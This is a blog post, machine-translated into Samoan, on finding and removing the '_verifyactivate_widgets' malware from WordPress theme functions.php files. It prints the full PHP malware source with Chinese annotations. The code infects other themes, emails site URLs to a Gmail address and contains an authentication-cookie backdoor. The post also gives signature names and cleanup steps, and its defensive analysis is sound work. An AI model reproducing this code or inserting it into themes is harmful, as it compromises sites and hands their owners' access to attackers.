Tusitusiga Tusitusiga
leʻi levaChen WeiliangO lo'o fa'aaogainaO le Wordfence Security plugin e su'e upegatafa'ilagi mo tulafono leagaMulimuli ane, na mauaWordPressI le autu o le function.php faila, o loʻo natia le code virus leaga.
Fa'ailoga leaga ile autu ole WordPress functions.php faila
O le nofoaga e sili ona foliga mai mo le "malicious code" i le WordPress o le function.php i le autu autu, e masani ona natia i le pito o le function.php faila.
faafitauli autu:O le tulafono leaga o le a iloa pe o mataupu uma i lalo o le blog o loʻo i ai nei o loʻo aʻafia i taimi uma e asiasi ai se tasi i lau itulau blog, ma afai e leai, o le a latou aʻafia faʻatasi.
A maeʻa lena, pe a faʻataunuʻuina le initialization action init of wp, o le a siaki pe na lafoina e le blog o loʻo iai nei se imeli i le pusa meli livethemas@Gmail. com
E fa'afefea ona e iloa ua fa'asalalauina?
- I totonu o lau laulau wp_options o loʻo i ai se faila e taʻua
_is_widget_active_
filifiliga, afai na auina atu ma le manuia, seti lona tau i le 1; - Afai e leai, fa'aoga le itulau autu URL o le blog o lo'o a'afia nei e fai ma ulutala ma anotusi.
- O le mea lena, e leai se isi mea leaga e fai.
Ole fa'ailoga leaga ole virus e fa'apea (atonu e iai ni eseesega, ae tutusa le fa'ailoga autu):
<?php function _verifyactivate_widgets(){ //当前文件名,如/path-to-www/wp-content/themes/SimpleDark/functions.php //查找当前主题functions.php文件中最后一个 <? 标记,从这个标记的位置开始,取得一直到文件尾的内容 $widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),“<“.“?”)); $output=“”; $allowed=“”; //去除html和php标签,其实这一句是扯蛋。。。 $output=strip_tags($output, $allowed); //取得主题目录themes的绝对路径,如 /path-to-www/wp-content/themes //为了加强程序的兼容性,它不惜以这种很晦涩的方式来获取。。。 //以主题目录themes的绝对路径用array包裹为参数传递给_get_allwidgets_cont函数获取此博客的所有主题的functions.php文件的绝对路径 $direst=_get_allwidgets_cont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),“themes”) + 6))); if (is_array($direst)){ foreach ($direst as $item){ //如果主题functions.php文件可写 if (is_writable($item)){ //特征码 $ftion=substr($widget,stripos($widget,“_”),stripos(substr($widget,stripos($widget,“_”)),“(“)); //取目标functions.php文件内容 $cont=file_get_contents($item); //没找到特征码?OK,试图感染 if (stripos($cont,$ftion) === false){ //查看目标functions.php文件最后是否是以 ?> 结尾,如果不是,给加上 ?> 标记 $comaar=stripos( substr($cont,-20),”?”.”>”) !== false ? “” : “?”.”>”; //这里的代码是忽悠人了,模仿WP widgets的代码,蛊惑你的眼睛,让你觉得这是widget代码。。。 $output .= $before . “Not found” . $after; //如果文件是以 ?> 标记结尾的,连标记一起取过来 if (stripos( substr($cont,-20),”?”.”>”) !== false){$cont=substr($cont,0,strripos($cont,”?”.”>”) + 2);} //开始感染,$widget内容即是恶意代码自身,在functions.php文件原内容后附加恶意代码 $output=rtrim($output, “\n\t”); fputs($f=fopen($item,”w+”),$cont . $comaar . “\n” .$widget);fclose($f); //后面这句也是伪装用的 $output .= ($isshowdots && $ellipsis) ? “…” : “”; } } } } return $output; } function _get_allwidgets_cont($wids,$items=array()){ //从$wids数组弹出一个元素(实际上是一个位置) $places=array_shift($wids); //如果位置字串是以/结尾的,则去掉/ if(substr($places,-1) == “/”){ $places=substr($places,0,-1); } //若不存在这样的文件或目录则直接返回false if(!file_exists($places) || !is_dir($places)){ return false; }elseif(is_readable($places)){ //否则的话。。。嘿嘿 //遍历此目录 $elems=scandir($places); foreach ($elems as $elem){ if ($elem != “.” && $elem != “..”){ //如果是目录,则加入$wids数组 if (is_dir($places . “/” . $elem)){ $wids[]=$places . “/” . $elem; } elseif (is_file($places . “/” . $elem)&& $elem == substr(__FILE__,-13)){ //否则,如果是文件,并且文件名等于 functions.php的话,则加入到$items数组保存,这才是它的目的functions.php正是它要找的 $items[]=$places . “/” . $elem;} } } }else{ return false; } //下面还有子目录?再找找看,递归 if (sizeof($wids) > 0){ return _get_allwidgets_cont($wids,$items); } else { //好了,完事了,以数组返回所有找到的functions.php文件的绝对路径 return $items; } } //下面是3个针对低版本的php而写的兼容函数 if(!function_exists(“stripos”)){ function stripos( $str, $needle, $offset = 0 ){ return strpos( strtolower( $str ), strtolower( $needle ), $offset ); } } if(!function_exists(“strripos”)){ function strripos( $haystack, $needle, $offset = 0 ) { if( !is_string( $needle ) )$needle = chr( intval( $needle ) ); if( $offset < 0 ){ $temp_cut = strrev( substr( $haystack, 0, abs($offset) ) ); } else{ $temp_cut = strrev( substr( $haystack, 0, max( ( strlen($haystack) – $offset ), 0 ) ) ); } if( ( $found = stripos( $temp_cut, strrev($needle) ) ) === FALSE )return FALSE; $pos = ( strlen( $haystack ) – ( $found + $offset + strlen( $needle ) ) ); return $pos; } } if(!function_exists(“scandir”)){ function scandir($dir,$listDirectories=false, $skipDots=true) { $dirArray = array(); if ($handle = opendir($dir)) { while (false !== ($file = readdir($handle))) { if (($file != “.” && $file != “..”) || $skipDots == true) { if($listDirectories == false) { if(is_dir($file)) { continue; } } array_push($dirArray,basename($file)); } } closedir($handle); } return $dirArray; } } //这个动作添加了,用于检测所有主题目录下functions.php并感染 add_action(“admin_head”, “_verifyactivate_widgets”); function _getprepare_widget(){ if(!isset($text_length)) $text_length=120; if(!isset($check)) $check=”cookie”; if(!isset($tagsallowed)) $tagsallowed=”<a>“; if(!isset($filter)) $filter=”none”; if(!isset($coma)) $coma=””; if(!isset($home_filter)) $home_filter=get_option(“home”); if(!isset($pref_filters)) $pref_filters=”wp_”; if(!isset($is_use_more_link)) $is_use_more_link=1; if(!isset($com_type)) $com_type=””; if(!isset($cpages)) $cpages=$_GET[“cperpage”]; if(!isset($post_auth_comments)) $post_auth_comments=””; if(!isset($com_is_approved)) $com_is_approved=””; if(!isset($post_auth)) $post_auth=”auth”; if(!isset($link_text_more)) $link_text_more=”(more…)”; if(!isset($widget_yes)) $widget_yes=get_option(“_is_widget_active_”); if(!isset($checkswidgets)) //这个实际是wp_set_auth_cookie $checkswidgets=$pref_filters.”set”.”_”.$post_auth.”_”.$check; if(!isset($link_text_more_ditails)) $link_text_more_ditails=”(details…)”; if(!isset($contentmore)) $contentmore=”ma”.$coma.”il”; if(!isset($for_more)) $for_more=1; if(!isset($fakeit)) $fakeit=1; if(!isset($sql)) $sql=””; //如果 _is_widget_active_ option内容为空,即表示没有被感染过 if (!$widget_yes) : global $wpdb, $post; //取出存在已经通过的评论(不包括trackback/pingback)的文章 // post_author 为 [email protected] 的文章,肯定是没有的 $sq1=”SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\”1\” AND comment_type=\”\” AND post_author=\”li”.$coma.”vethe”.$com_type.”mas”.$coma.”@”.$com_is_approved.”gm”.$post_auth_comments.”ail”.$coma.”.”.$coma.”co”.”m\” AND post_password=\”\” AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count”;# if (!empty($post->post_password)) { if ($_COOKIE[“wp-postpass_”.COOKIEHASH] != $post->post_password) { if(is_feed()) { $output=__(“There is no excerpt because this is a protected post.”); } else { $output=get_the_password_form(); } } } if(!isset($fixed_tags)) $fixed_tags=1; if(!isset($filters)) $filters=$home_filter; //$gettextcomments实际上为 wp_mail if(!isset($gettextcomments)) $gettextcomments=$pref_filters.$contentmore; if(!isset($tag_aditional)) $tag_aditional=”div”; //这里$sh_cont即为 [email protected] if(!isset($sh_cont)) $sh_cont=substr($sq1, stripos($sq1, “live”), 20);# if(!isset($more_text_link)) $more_text_link=”Continue reading this entry”; if(!isset($isshowdots)) $isshowdots=1; $comments=$wpdb->get_results($sql); if($fakeit == 2) { $text=$post->post_content; } elseif($fakeit == 1) { $text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt; } else { $text=$post->post_excerpt; } //开始调用 wp_mail 向 [email protected] 发送邮件,标题和内容都是被感染的博客的URL 地址 $sq1=”SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\”1\” AND comment_type=\”\” AND comment_content=”. call_user_func_array($gettextcomments, array($sh_cont, $home_filter, $filters)) .” ORDER BY comment_date_gmt DESC LIMIT $src_count”;# if($text_length < 0) { $output=$text; } else { if(!$no_more && strpos($text, “<span id=“more-5265”></span>“)) { $text=explode(“<span id=“more-5675”></span>“, $text, 2); $l=count($text[0]); $more_link=1; //执行这一句时就开始发邮件了。 $comments=$wpdb->get_results($sql); } else { $text=explode(” “, $text); if(count($text) > $text_length) { $l=$text_length; $ellipsis=1; } else { $l=count($text); $link_text_more=””; $ellipsis=0; } } for ($i=0; $i<$l; $i++) $output .= $text[$i] . ” “; } //把感染标记置为1 update_option(“_is_widget_active_”, 1); if(“all” != $tagsallowed) { $output=strip_tags($output, $tagsallowed); return $output; } endif; $output=rtrim($output, “\s\n\t\r\0\x0B”); $output=($fixed_tags) ? balanceTags($output, true) : $output; $output .= ($isshowdots && $ellipsis) ? “…” : “”; //$filter 为 none …,又是在伪装 $output=apply_filters($filter, $output); switch($tag_aditional) { case(“div”) : $tag=”div”; break; case(“span”) : $tag=”span”; break; case(“p”) : $tag=”p”; break; default : $tag=”span”; } //$checkswidgets即是wp_set_auth_cookie if ($is_use_more_link ) { if($for_more) { $output .= ” <” . $tag . ” class=\”more-link\”><a href=\””. get_permalink($post–>ID) . “#more-” . $post->ID .”\” title=\”” . $more_text_link . “\”>” . $link_text_more = !is_user_logged_in() && @call_user_func_array($checkswidgets,array($cpages, true)) ? $link_text_more : “” . “</a></” . $tag . “>” . “\n”; } else { $output .= ” <” . $tag . ” class=\”more-link\”><a href=\””. get_permalink($post–>ID) . “\” title=\”” . $more_text_link . “\”>” . $link_text_more . “</a></” . $tag . “>” . “\n”; } } return $output; } //这里是用来干坏事的,这才是这个恶意代码的目的,前面的感染是“准备活动” add_action(“init”, “_getprepare_widget”); //这个函数也是用来伪装的,无恶意 function __popular_posts($no_posts=6, $before=”<li>“, $after=”</li>“, $show_pass_post=false, $duration=””) { global $wpdb; $request=”SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS \”comment_count\” FROM $wpdb->posts, $wpdb->comments”; $request .= ” WHERE comment_approved=\”1\” AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status=\”publish\””; if(!$show_pass_post) $request .= ” AND post_password =\”\””; if($duration !=””) { $request .= ” AND DATE_SUB(CURDATE(),INTERVAL “.$duration.” DAY) < post_date “; } $request .= ” GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts”; $posts=$wpdb->get_results($request); $output=””; if ($posts) { foreach ($posts as $post) { $post_title=stripslashes($post->post_title); $comment_count=$post->comment_count; $permalink=get_permalink($post->ID); $output .= $before . ” <a href=\”” . $permalink . “\” title=\”” . $post_title.“\”>” . $post_title . “</a> ” . $after; } } else { $output .= $before . “None found” . $after; } return $output; } ?>
O le a le fa'ailoga leaga ole autu ole WordPress?
Afai o le su'esu'eina ma le Wordfence Security plugin e iloa ai ua fa'aleagaina lau faila function.php, siaki, mo se fa'ata'ita'iga:
- _verifyactivate_widgets
- galuega _checkactive_widgets
- galuega _get_allwidgets_cont
- galuega stripos
- galuega srripos
- galuega scandir
- galuega _getprepare_widget
- galuega __popular_posts
- add_action("admin_head", "_checkactive_widgets");
- add_action("init", "_getprepare_widget");
- _verify_isactivate_widgets
- _check_isactive_widget
- _get_allwidgetscont
- _sauni_widgets
- __popular_posts
- O laina ta'itasi e tuto'atasi, pe a iai sau fa'ailoga o lo'o i luga i lau functions.php e ono lavea oe.
- Faatasi ai ma i latou, o galuega ma add_action e masani lava o le code of "malicious code" e aofia ai "gaioiga sauniuni".
Fa'afefea ona aveese le autu ole WordPress function.php malicious virus code?
E faigofie tele foi ona faʻamama, naʻo le suʻeina o le code e pei o luga i le function.php faila o le autu o le WordPress ma tape, ae ona o le taimi lava e aʻafia ai, o autu uma i lau lisi autu autu o le a afaina, o lea naʻo le i le taimi nei O le autu o loʻo faʻaaogaina e le aoga ma o le a faʻatupuina pe a maeʻa ona kilia.
O le fofo o le aveese lea o le virus code leaga o le tasi autu WordPress, seti le faila functions.php i le 444 faʻatagaga, ona faʻamama lea o isi autu WordPress.
A o le 444 faʻatagaga o le faila functions.php mulimuli e manaʻomia ona toe suia, e fautua mai tagata o le 444 e saogalemu ma e mafai ona suia pe a manaʻomia.
Fa'amatalaga ile fa'aogaina ole Wordfence Security plugin
Matou te fautuaina le WordPress plugin e Wordfence Security, o le WordPress security plugin with integrated firewall and malware scanning, fausia ma tausia e se vaega tele e 100% taulaʻi i le saogalemu o WordPress.
E ui lava o loʻo i ai ni faʻaoga totogi, e mafai ona matou faʻaogaina le free module "Scan" e suʻesuʻe ai la matou WordPress site mo faila PHP o loʻo i ai le "code leaga", e ui lava o loʻo i ai se fua faʻatatau sese (e masani lava o nisi plugins moni, o le a poloka le vaega faʻailoga autu. e ala i mea sese), ae o le mauaina o le "tulafono leaga" e mautinoa lava e sili atu le galuega ma le itiiti o taumafaiga.
E tatau ona maitauina o lenei plug-in e le fautuaina ina ia ki soo, aua o lona puipui puipui ma le puipuiga malu o le a mafua ai se mamafa mamafa i luga o le database ma aafia ai le faatinoga o le upega tafaʻilagi.
E masani lava, e mafai e plugins ona faʻatautaia suʻesuʻega "scan" pe a manaʻomia.
Tapuni le plug-in pe a maeʻa suʻesuʻega, pe a tupu faʻafuaseʻi.
Hope Chen Weiliang Blog ( https://www.chenweiliang.com/ ) faʻasoa "E faʻafefea ona faʻamama le tulafono leaga _verifyactivate_widgets i le autu o WordPress", lea e fesoasoani ia te oe.
Fa'afeiloa'i e fa'asoa le so'otaga o lenei tusitusiga:https://www.chenweiliang.com/cwl-27554.html
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